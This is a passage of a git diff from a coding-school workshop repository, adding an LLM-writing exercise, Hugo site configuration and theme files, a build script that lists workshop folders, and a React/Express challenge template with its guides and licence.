+B[Explain why you think that] +C[Run the prompt] +D[Compare the replies] +E[Update your mental model] +A --> B +B --> C +C --> D +D --> E +E --> A +``` + +## 🧰 Workshop + + + +### 🖨️ Generate + +Copy and paste the following prompt into each 🤖 LLM dialog: + +> Write a 250 word essay reflecting on your strengths and development areas as a result of feedback and what is one action for each you will take. + + + + +### 🪞 Compare + +Now copy and paste each 🤖 LLM response into one google doc, so all three replies are in one doc. Read the replies. All three are easily identifiable as 🤖 LLM generated texts. Can you tell why this is? **✍🏽 Write down your ideas**. + +Next, add the following prompt to the first line of your google doc: + +> All three are easily identifiable as LLM generated texts. Can you tell why this is? + +Now **paste the entire text** of the doc you just made into each LLM dialog and read the replies. How do your ideas compare to the LLM responses to the same question? + + + + +### 🕵🏿 Revise + +How would you fix this? **✍🏽 Write down your ideas.** + +Next, ask each 🤖 LLM in turn, by pasting the prompt: + +> How would you fix this? + + + + +### 💭 Reflect + +You are using 🤖 LLM to write your essays and reflections but your reviewers often say your writing is generic and pointless. How can you improve? **✍🏽 Write down your ideas.** + +Finally, ask each 🤖 LLM in turn, by pasting the prompt: + +> I use you to write my essays and reflections but my teacher says my writing is generic and pointless. How can I improve? + + + + +### 🧠 Create + +✍🏽 Write a 250 word essay reflecting on your strengths and development areas as a result of feedback and one action you will take for each area. + + + +## ✅ Acceptance Criteria + +- I have generated multiple texts with different LLMs +- I have written down my own ideas first and then compared them to the LLM +- I have clearly identified the problems with the generated texts +- I can explain the difference between superficial fluency and meaningful information diff --git a/micro-front-end/assets/custom-images/site-logo/site-logo-small.svg b/micro-front-end/assets/custom-images/site-logo/site-logo-small.svg new file mode 100644 index 00000000..06ddaea5 --- /dev/null +++ b/micro-front-end/assets/custom-images/site-logo/site-logo-small.svg @@ -0,0 +1,10 @@ + + + \ No newline at end of file diff --git a/micro-front-end/assets/custom-images/site-logo/site-logo.svg b/micro-front-end/assets/custom-images/site-logo/site-logo.svg new file mode 100644 index 00000000..f5e67def --- /dev/null +++ b/micro-front-end/assets/custom-images/site-logo/site-logo.svg @@ -0,0 +1,14 @@ + + + + \ No newline at end of file diff --git a/micro-front-end/assets/custom-theme/02-variables/colors.scss b/micro-front-end/assets/custom-theme/02-variables/colors.scss new file mode 100644 index 00000000..0a69d3a9 --- /dev/null +++ b/micro-front-end/assets/custom-theme/02-variables/colors.scss @@ -0,0 +1,75 @@ +@mixin light-palette { + // these brand colours are set and then everything else is derived from the key + --theme-color--brand: hsla(0, 100%, 67%, 1); + --theme-color--brand-shade: hsla(0, 100%, 67%, 0.375); + --theme-color--accent: hsl(146, 100%, 46%); + --theme-color--accent-shade: hsla(146, 100%, 46%, 0.5); + --theme-color--pop: hsla(262, 100%, 62%, 1); + // key + --hue: 260; + --sat: 35%; + --lum: 90%; + --alpha: 0.95; + --hsl: var(--hue), var(--sat), var(--lum); + // now build all the shades + --theme-color--paper: hsla( + var(--hue), + calc(var(--sat) * 1.2), + calc(var(--lum) * 1.06), + var(--alpha) + ); + --theme-color--ink: hsla( + var(--hue), + calc(var(--sat) * 2.2), + calc(var(--lum) * 0.3), + var(--alpha) + ); + --theme-color--ink-fade: hsla( + var(--hue), + calc(var(--sat) * 2.2), + calc(var(--lum) * 0.3), + calc(var(--alpha) * 0.3) + ); + --theme-color--paper-fade: hsla( + var(--hue), + calc(var(--sat) * 1.2), + calc(var(--lum) * 1.06), + 0.9 + ); + --theme-color--contrast-max: hsl( + var(--hue), + calc(var(--sat) / 100), + calc(var(--lum) * 2) var(--alpha) + ); + + // backdrop + --theme-color--block: hsla(var(--hsl), var(--alpha)); + --theme-color--outline: hsl(var(--hsl), 1); + --theme-color--backdrop-from: hsl(var(--hsl) / 0.25); + --theme-color--backdrop-to: hsl(var(--hsl) / 0.2); +} + +@mixin dark-palette { + --hue: 270; + --sat: 8%; + --lum: 20%; + --alpha: 0.99; + --theme-color--ink: hsla( + calc(var(--hue) * 1.1), + calc(var(--sat) + 60%), + calc(var(--lum) * 4.4), + var(--alpha) + ); + --theme-color--accent: hsla(262, 100%, 67%, 1); + --theme-color--pop: hsl(146, 100%, 46%); +} + +:root { + @include light-palette(); + @media (prefers-color-scheme: dark) { + @include dark-palette(); + } +} + +// see states for classes that toggle these +// no classes in the variables folder diff --git a/micro-front-end/assets/custom-theme/02-variables/fonts.scss b/micro-front-end/assets/custom-theme/02-variables/fonts.scss new file mode 100644 index 00000000..79f99639 --- /dev/null +++ b/micro-front-end/assets/custom-theme/02-variables/fonts.scss @@ -0,0 +1,7 @@ +:root { + --theme-font--display: "Space Grotesk", serif; + --theme-font--copy: "Inter", system-ui, -apple-system, BlinkMacSystemFont, + "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", + sans-serif; + --theme-font--system: 100 100%/2 "Monaco", "Menlo", "Space Grotesk", monospace; +} diff --git a/micro-front-end/assets/custom-theme/states/dark.scss b/micro-front-end/assets/custom-theme/states/dark.scss new file mode 100644 index 00000000..356ec362 --- /dev/null +++ b/micro-front-end/assets/custom-theme/states/dark.scss @@ -0,0 +1,4 @@ +.is-dark-mode, +:root:has(.is-dark-mode) { + @include dark-palette; +} diff --git a/micro-front-end/assets/custom-theme/states/light.scss b/micro-front-end/assets/custom-theme/states/light.scss new file mode 100644 index 00000000..53b42902 --- /dev/null +++ b/micro-front-end/assets/custom-theme/states/light.scss @@ -0,0 +1,4 @@ +.is-light-mode, +:root:has(.is-light-mode) { + @include light-palette; +} diff --git a/micro-front-end/build.sh b/micro-front-end/build.sh new file mode 100755 index 00000000..e6a69d2c --- /dev/null +++ b/micro-front-end/build.sh @@ -0,0 +1,48 @@ +#!/bin/bash + +# Find the root directory of the git repository +repoRoot=$(git rev-parse --show-toplevel) + +# Ensure we're in the root of the git repository +cd "$repoRoot" || exit + +# Path to the _index.md file in the /content directory +indexFile="${repoRoot}/micro-front-end/content/_index.md" + +# Loop over each directory in the root +for dir in */ ; do + # Remove the trailing slash from directory name + dirName=${dir%/} + + # Skip the directory we are copying into + if [ "$dirName" == "micro-front-end" ]; then + continue + fi + + # Format the directory name for URL + formattedDirName=$(echo "$dirName" | sed 's/ /%20/g') + + # Define the block to append with formatted link + blockToAdd="[[blocks]]\nname=\"$dirName\"\nsrc=\"https://github.com/CodeYourFuture/CYF-Workshops/tree/main/$formattedDirName\"\ntime=0" + + # Check if the block already exists + if ! grep -q "$blockToAdd" "$indexFile"; then + # Find the line number of the last occurrence of +++ + lastPlusLine=$(grep -n '+++' "$indexFile" | tail -1 | cut -d: -f1) + + # Check if we found the line to insert before + if [ -n "$lastPlusLine" ]; then + # Calculate the line number to insert before the last +++ + insertLine=$((lastPlusLine - 1)) + + # Use awk to insert blockToAdd before the last +++ + awk -v line="$insertLine" -v text="$blockToAdd" 'NR == line {print text} {print}' "$indexFile" > temp && mv temp "$indexFile" + else + # Throw an error if +++ wasn't found + echo "Error: +++ not found in $indexFile. Cannot update the file correctly." >&2 + exit 1 + fi + fi +done + +echo "Updated _index.md with directory blocks." diff --git a/micro-front-end/content/_index.md b/micro-front-end/content/_index.md new file mode 100644 index 00000000..ab7f8107 --- /dev/null +++ b/micro-front-end/content/_index.md @@ -0,0 +1,190 @@ ++++ +title="Workshops" +emoji="🧰" +layout='prep' +type="_default" +[[blocks]] +name="Welcome to CYF Workshops" +src="https://github.com/CodeYourFuture/CYF-Workshops/readme" +time=60 +[[blocks]] +name="arrays" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/arrays" +time=60 +[[blocks]] +name="asking-questions" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/asking-questions" +time=90 +[[blocks]] +name="breakdown" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/breakdown" +time=0 +[[blocks]] +name="collective-job-hunting" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/collective-job-hunting" +time=30 +[[blocks]] +name="components-1" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/components-1" +time=90 +[[blocks]] +name="components-2" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/components-2" +time=90 +[[blocks]] +name="crud" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/crud" +time=45 +[[blocks]] +name="dad-joke" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/dad-joke" +time=45 +[[blocks]] +name="db-backup" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/db-backup" +time=30 +[[blocks]] +name="debugging-2" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/debugging-2" +time=30 +[[blocks]] +name="debugging-3" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/debugging-3" +time=45 +[[blocks]] +name="debugging" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/debugging" +time=60 +[[blocks]] +name="devtools" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/devtools" +time=90 +[[blocks]] +name="dom merge conflict" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/dom-merge-conflict" +time=90 +[[blocks]] +name="express setup" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/express-setup" +time=60 +[[blocks]] +name="get forms" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/get-forms" +time=60 +[[blocks]] +name="git-cli" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/git-cli" +time=30 +[[blocks]] +name="git day 1" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/git-day-1" +time=90 +[[blocks]] +name="goblin breakdown" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/goblin-breakdown" +time=60 +[[blocks]] +name="instructional design" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/instructional-design" +time=120 +[[blocks]] +name="interviewing" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/interviewing" +time=120 +[[blocks]] +name="js1-wk1-eval" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/js1-wk1-eval" +time=30 +[[blocks]] +name="know your computer" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/know-your-computer" +time=45 +[[blocks]] +name="learning objectives" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/learning-objectives" +time=30 +[[blocks]] +name="LLM writing 1" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/llm-writing-1" +time=45 +[[blocks]] +name="node challenge london-mini-guide" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/node-challenge-london-mini-guide" +time=90 +[[blocks]] +name="objects" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/objects" +time=45 +[[blocks]] +name="Onboarding new volunteers" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/onboarding-new-volunteers" +time=30 +[[blocks]] +name="paint the room" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/paint-the-room" +time=60 +[[blocks]] +name="pitch-camp" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/pitch-camp" +time=60 +[[blocks]] +name="playing-computer" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/playing-computer" +time=20 +[[blocks]] +name="polish" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/polish" +time=120 +[[blocks]] +name="questions-and-reviews" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/questions-and-reviews" +time=60 +[[blocks]] +name="react-pokedex" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/react-pokedex" +time=360 +[[blocks]] +name="reporting-bugs" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/reporting-bugs" +time=75 +[[blocks]] +name="sql-quiz" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/sql-quiz" +time=90 +[[blocks]] +name="stand-up" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/stand-up" +time=45 +[[blocks]] +name="technical writing one" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/technical-writing-one" +time=0 +[[blocks]] +name="template" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/template" +time=0 +[[blocks]] +name="testing" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/testing" +time=30 +[[blocks]] +name="time-string" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/time-string" +time=45 +[[blocks]] +name="touch-typing" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/touch-typing" +time=50 +[[blocks]] +name="triangles" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/triangles" +time=45 +[[blocks]] +name="undefined" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/undefined" +time=30 +[[blocks]] +name="wordle" +src="https://github.com/CodeYourFuture/CYF-Workshops/tree/main/wordle" +time=120 ++++ diff --git a/micro-front-end/go.mod b/micro-front-end/go.mod new file mode 100644 index 00000000..994a7579 --- /dev/null +++ b/micro-front-end/go.mod @@ -0,0 +1,5 @@ +module github.com/CodeYourFuture/CYF-Workshops/micro-front-end + +go 1.21.3 + +require github.com/CodeYourFuture/curriculum/common-theme v0.0.0-20250122145051-7c1d9e022530 // indirect diff --git a/micro-front-end/go.sum b/micro-front-end/go.sum new file mode 100644 index 00000000..2fdeba2f --- /dev/null +++ b/micro-front-end/go.sum @@ -0,0 +1,2 @@ +github.com/CodeYourFuture/curriculum/common-theme v0.0.0-20250122145051-7c1d9e022530 h1:2DKzZxj7Z7QLA72QRLiMOuTMkhPUiFaUPR+K02sAmwU= +github.com/CodeYourFuture/curriculum/common-theme v0.0.0-20250122145051-7c1d9e022530/go.mod h1:kzt+J4JYp5C3GD1dX0rf7vY5fsTUc6Drrn+7p7pjmLg= diff --git a/micro-front-end/hugo.toml b/micro-front-end/hugo.toml new file mode 100644 index 00000000..d61c4ae3 --- /dev/null +++ b/micro-front-end/hugo.toml @@ -0,0 +1,62 @@ +title = "CYF Workshops" +baseURL = "https://workshops.codeyourfuture.io/" + +[module] + [[module.imports]] + path = "github.com/CodeYourFuture/curriculum/common-theme" + +[menus] + [[menus.secondary]] + name = "Curriculum 👈🏾" + weight = 1 + url = "https://curriculum.codeyourfuture.io/" + [[menus.secondary]] + name = "Join Us 👋🏿" + weight = 2 + url = "https://codeyourfuture.io/volunteers/" + [[menus.secondary]] + name = "Support 🫶🏼" + weight = 3 + url = "https://codeyourfuture.io/donate/" + +[params] +googleFonts="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;500;700&family=Inter:wght@400;600&display=swap" +description = "A free and open source software development programme." +main_website = "https://codeyourfuture.io/" +main_org_name = "Code Your Future" +org = "https://github.com/CodeYourFuture" +repo = "https://github.com/CodeYourFuture/CYF-Workshops" +pdrepo = "CYF-PD" +root = "curriculum" +orgapi = "https://api.github.com/repos/CodeYourFuture/" +# We use a proxy which concatenates paginated responses, otherwise we miss results. +# Daniel is currently hosting this code https://github.com/illicitonion/github-issue-proxy but we should work out a long-term maintainable solution to this problem. +issuesorgapi = "https://github-issue-proxy.illicitonion.com/repos/CodeYourFuture/" + + +[caches.getjson] +# Disable caching of fetches - we want every build to get up to date content for issues, so that if people make clarifications or fixes to issues, we pick them up. +maxAge = 0 + +[security.funcs] +# Allow accessing a GitHub bearer token to avoid rate limits when doing HTTP fetches to the GitHub API. +# This can be generated at https://github.com/settings/tokens?type=beta and needs read-only access to all public CYF GitHub repos. +getenv = ["^HUGO_CURRICULUM_GITHUB_BEARER_TOKEN$"] + +[markup] +[markup.tableOfContents] +endLevel = 2 +ordered = true +startLevel = 2 +[markup.highlight] +lineNos = false +codeFences = true +guessSyntax = true +[markup.goldmark.renderer] +# Enable HTML codeblocks, e.g. for
                      blocks +unsafe = true +hardWraps = true +footnote= true + + +theme = "common-theme" \ No newline at end of file diff --git a/micro-front-end/static/404.html b/micro-front-end/static/404.html new file mode 100644 index 00000000..b473c088 --- /dev/null +++ b/micro-front-end/static/404.html @@ -0,0 +1,11 @@ +This is a placeholder file which will be replaced by hugo. + +If this file doesn't exist, hugo will for some reason create a placeholder file with the wrong permissions, and won't be able to overwrite it with the rendered file. + +You should never see this file served by a hugo site. + +We wish we understood why hugo was creating a placeholder with permissions 0444 instead of 0644, but we can't work it out. + +Oh, by the way, it only does so for some sites (specifically, common-docs, but not any others). + +See https://github.com/CodeYourFuture/curriculum/issues/992 diff --git a/node-challenge-london-mini-guide/CLIENT.md b/node-challenge-london-mini-guide/CLIENT.md new file mode 100644 index 00000000..eaa8a6c4 --- /dev/null +++ b/node-challenge-london-mini-guide/CLIENT.md @@ -0,0 +1,51 @@ +# Client + +- You need to implement your client (or front-end) logic using `react.js`. + +## Client Level 100 + +In this level you should + +- Display a title in the center on the website +- Display the available cities in a dropdown menu +- Display the category buttons +- Display table with fake data + - No need to do a fetch at this time + - Just make sure it works with the JSON from the Server. + +## Client Level 200 + +In this level you should + +- Make sure that selecting a city will update the state +- Make sure that clicking on a specific category will activate it + - The style of the button should also change to distingush it from other buttons +- Show an error if user tries to choose a category before chosing a city + +![show an error if user tries to choose a category before chosing a city](https://i.imgur.com/vVPsMUe.png) + +## Client Level 300 + +In this level you should + +- Make fetch request to your server for a specific city. +- Choosing any category will display the data specified to that city in the table. +- Add loading spinner while you're fetching the data your server. + +## Client Level 500 + +In this level you should + +- Make city selection dynamic. +- Selecting a city then selecting a category should displays the data of the selected city in the table. + +## Client Level 999 + +You have the full control over this level! + +Some suggestions + +- Add a section contains some data about each city. +- Add a form for adding more entries to the data. +- redesign the way you represent information. +- add search and sort functionality. diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/.eslintrc.cjs b/node-challenge-london-mini-guide/CYF-React-Express-Template/.eslintrc.cjs new file mode 100644 index 00000000..4dcb4390 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/.eslintrc.cjs @@ -0,0 +1,20 @@ +module.exports = { + root: true, + env: { browser: true, es2020: true }, + extends: [ + 'eslint:recommended', + 'plugin:react/recommended', + 'plugin:react/jsx-runtime', + 'plugin:react-hooks/recommended', + ], + ignorePatterns: ['dist', '.eslintrc.cjs'], + parserOptions: { ecmaVersion: 'latest', sourceType: 'module' }, + settings: { react: { version: '18.2' } }, + plugins: ['react-refresh'], + rules: { + 'react-refresh/only-export-components': [ + 'warn', + { allowConstantExport: true }, + ], + }, +} diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/.gitignore b/node-challenge-london-mini-guide/CYF-React-Express-Template/.gitignore new file mode 100644 index 00000000..48211fd6 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/.gitignore @@ -0,0 +1,34 @@ +coverage +.DS_Store +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +dist +dist-ssr +*.local + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? +/test-results/ +/playwright-report/ +/blob-report/ +/playwright/.cache/ +/test-results/ +/playwright-report/ +/blob-report/ +/playwright/.cache/ diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/.prettierrc b/node-challenge-london-mini-guide/CYF-React-Express-Template/.prettierrc new file mode 100644 index 00000000..59bb3b44 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/.prettierrc @@ -0,0 +1,19 @@ +{ + "arrowParens": "always", + "bracketSpacing": true, + "embeddedLanguageFormatting": "auto", + "htmlWhitespaceSensitivity": "css", + "insertPragma": false, + "jsxBracketSameLine": false, + "jsxSingleQuote": false, + "printWidth": 80, + "proseWrap": "preserve", + "quoteProps": "as-needed", + "requirePragma": false, + "semi": true, + "singleQuote": false, + "tabWidth": 2, + "trailingComma": "es5", + "useTabs": false, + "vueIndentScriptAndStyle": false +} diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/HOW-TO-GET-HELP.md b/node-challenge-london-mini-guide/CYF-React-Express-Template/HOW-TO-GET-HELP.md new file mode 100644 index 00000000..8e3aaeb0 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/HOW-TO-GET-HELP.md @@ -0,0 +1,46 @@ + + +# How To Get Help + +Learning to ask good questions is a key skill for a developer and you should practice this every week at CYF. You must spend a lot of time learning how to describe problems clearly and systematically: + +https://syllabus.codeyourfuture.io/guides/asking-questions + +Problem-solving is the real (marketable) skill of software developers. If you do not have questions to ask about your work, ask for some different work. Don't miss this opportunity to break down challenging problems with a large team of developers. + +## Guide + +Please review our guide on the Syllabus for how to get help when you are really blocked: + +https://syllabus.codeyourfuture.io/guides/escalation-policy/ + +You should complete all of the steps in the order listed to get help. + +## Reporting Issues in Coursework + +- Is there a problem with this coursework? +- Have you noticed a bug? +- Is there a typo or a mistake you can help clean up? + +Post in the channel named after the module you are working on: + +- Git - `cyf-module-git` +- HTML/CSS - `cyf-module-html-css` +- JavaScript Core 1 - `cyf-module-js1` +- JavaScript Core 2 - `cyf-module-js2` +- JavaScript Core 2 - `cyf-module-js3` +- React - `cyf-module-react` +- Node - `cyf-module-node` +- SQL - `cyf-module-sql` +- MongoDB - `cyf-module-mongodb` + +Or open an issue directly to the Syllabus. CYF Syllabus is an Open Source project developed on GitHub and you are invited to contribute. Read the Issue Template carefully. + +https://github.com/CodeYourFuture/syllabus/issues/new/choose + +Still not clear where to share your issue? Post in #cyf-syllabus-tech. diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/HOW_TO_REVIEW.md b/node-challenge-london-mini-guide/CYF-React-Express-Template/HOW_TO_REVIEW.md new file mode 100644 index 00000000..bf6a11eb --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/HOW_TO_REVIEW.md @@ -0,0 +1,67 @@ + + +# Everyone reviews code at CYF + +Mentors and trainees all review code, and collaborate on improving code quality. We are all helping each other to talk, write, and think about code more clearly. + +We are not reviewing code as if we were to merge this PR into production; we are opening a technical conversation for the purpose of insight and development. + +## Key points: + +1. Ask questions instead of making statements: + + **YES:** "Is there another element you could use to group a set of fields in a form? Why might someone use a different element in a form?" + **NO:** "Use fieldset not divs" + +2. Encourage simplicity, clarity, and precision: + + **YES** "There are 15,0000 files in this changelist. Which files should be reviewed?" + **NO** "It doesn't matter; I can try to figure out what you meant." + +3. Respect everyone's work and time: + + **YES** "I think there's some more to do here. Thanks for sharing where you're up to." + **NO** "This is rubbish. Try harder." + +## Labels + +Reviewers, please add labels (provided) to the PR once you've reviewed. This helps to focus the trainee on the areas they should work on, and gives an overview for mentors on what the whole cohort needs to work on. + +## Solutions + +### Where to find solutions? + +You can find the solutions for a module on the `solutions` branch. + +### Solutions branch + +The solutions branch typically contains: + +#### Sample solutions + +Solutions are example answers not the only correct answers. + +#### Common responses guides. + +Everyone is invited to contribute commonly encountered problems, mistakes, misunderstandings, and mental-model errors to our common responses documents. + +Use these resources to inform your code review, get unstuck, and improve your understanding. + +## Guides + +Here's a detailed checklist of the sorts of things we should check code for: + +https://syllabus.codeyourfuture.io/guides/marking-guide + +Here's a detailed style guide to help us all write clear, high quality code: + +https://syllabus.codeyourfuture.io/guides/code-style-guide + +Here's some help with giving good feedback during code review: + +https://teachertraining.codeyourfuture.io/tasks/code-review diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/LICENSE.txt b/node-challenge-london-mini-guide/CYF-React-Express-Template/LICENSE.txt new file mode 100644 index 00000000..4cf154a2 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/LICENSE.txt @@ -0,0 +1,386 @@ +Attribution 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More_considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution 4.0 International Public License ("Public License"). To the +extent this Public License may be interpreted as a contract, You are +granted the Licensed Rights in consideration of Your acceptance of +these terms and conditions, and the Licensor grants You such rights in +consideration of benefits the Licensor receives from making the +Licensed Material available under these terms and conditions. + +Section 1 -- Definitions. + +a. Adapted Material means material subject to Copyright and Similar +Rights that is derived from or based upon the Licensed Material +and in which the Licensed Material is translated, altered, +arranged, transformed, or otherwise modified in a manner requiring +permission under the Copyright and Similar Rights held by the +Licensor. For purposes of this Public License, where the Licensed +Material is a musical work, performance, or sound recording, +Adapted Material is always produced where the Licensed Material is +synched in timed relation with a moving image. + +b. Adapter's License means the license You apply to Your Copyright +and Similar Rights in Your contributions to Adapted Material in +accordance with the terms and conditions of this Public License. + +c. Copyright and Similar Rights means copyright and/or similar rights +closely related to copyright including, without limitation, +performance, broadcast, sound recording, and Sui Generis Database +Rights, without regard to how the rights are labeled or +categorized. For purposes of this Public License, the rights +specified in Section 2(b)(1)-(2) are not Copyright and Similar +Rights. + +d. Effective Technological Measures means those measures that, in the +absence of proper authority, may not be circumvented under laws +fulfilling obligations under Article 11 of the WIPO Copyright +Treaty adopted on December 20, 1996, and/or similar international +agreements. + +e. Exceptions and Limitations means fair use, fair dealing, and/or +any other exception or limitation to Copyright and Similar Rights +that applies to Your use of the Licensed Material. + +f. Licensed Material means the artistic or literary work, database, +or other material to which the Licensor applied this Public +License. + +g. Licensed Rights means the rights granted to You subject to the +terms and conditions of this Public License, which are limited to +all Copyright and Similar Rights that apply to Your use of the +Licensed Material and that the Licensor has authority to license. + +h. Licensor means the individual(s) or entity(ies) granting rights +under this Public License. + +i. Share means to provide material to the public by any means or +process that requires permission under the Licensed Rights, such +as reproduction, public display, public performance, distribution, +dissemination, communication, or importation, and to make material +available to the public including in ways that members of the +public may access the material from a place and at a time +individually chosen by them. + +j. Sui Generis Database Rights means rights other than copyright +resulting from Directive 96/9/EC of the European Parliament and of +the Council of 11 March 1996 on the legal protection of databases, +as amended and/or succeeded, as well as other essentially +equivalent rights anywhere in the world. + +k. You means the individual or entity exercising the Licensed Rights +under this Public License. Your has a corresponding meaning. + +Section 2 -- Scope. + +a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + +b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + +a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym 